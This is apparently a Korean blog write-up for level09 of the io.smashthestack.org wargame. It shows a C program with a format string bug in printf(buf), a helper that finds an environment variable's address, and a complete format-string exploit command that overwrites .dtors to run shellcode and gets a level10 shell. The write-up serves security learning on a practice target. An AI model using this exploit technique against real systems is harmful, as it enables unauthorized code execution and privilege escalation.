티스토리 뷰

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) 
{
	int  pad = 0xbabe;
	char buf[1024];

	strncpy(buf, argv[1], sizeof(buf) - 1);

	printf(buf);
	
	return 0;
}


FTZ11번, 20번에 있는 FSB(Format String Bug)랑 똑같은 문제.


printf(buf);


에서 FSB취약점이 발생한다.

일단 덮어쓸 곳과 덮을 곳이 필요하다.


NX-Bit가 걸려있지 않고 ASLR이 걸려있지 않기 때문에

Shell-Code를 환경변수에 올려두고 기본적으로 프로그램에서 제공해주는

소멸자인 .dtors(무조건 실행됨)을 덮어씌워 보자.


  [17] .dtors      PROGBITS    080494d0 0004d0 000008 00  WA  0   0  4


.dtors는 그대로 쓰면 안되고 0x04를 더해서 써야함.



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ( int argc, char **argv ) {

        char *ptr;

        ptr = getenv( argv[1] );
        ptr += (strlen( argv[0] ) - strlen( argv[2] )) * 2;


        printf ( "%s's ADDRESS [ %p ]\n\n", argv[1], ptr );
        return 0;
}


level9@io:/tmp/err0rless09$ ./getenv SHELLCODE /levels/level09

SHELLCODE's ADDRESS [ 0xbfffeecd ]


0xeecd

61133

-40

61093


0x1bfff

114687


./level09 `python -c 'print "\xd4\x94\x04\x08" * 2 + "\xd6\x94\x04\x08" * 2 + "%8x" 

* 3 + "%61093c%hn%53554c%hn"'`


sh-4.2$ whoami

level10


'Pwnable > io.smashthestack.org' 카테고리의 다른 글

[io.smashthestack.org] level10  (0) 2015.01.05
[io.smashthestack.org] level08  (0) 2015.01.04
[io.smashthestack.org] level07  (0) 2015.01.04
[io.smashthestack.org] level06  (0) 2015.01.04
[io.smashthestack.org] level05  (0) 2015.01.04
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함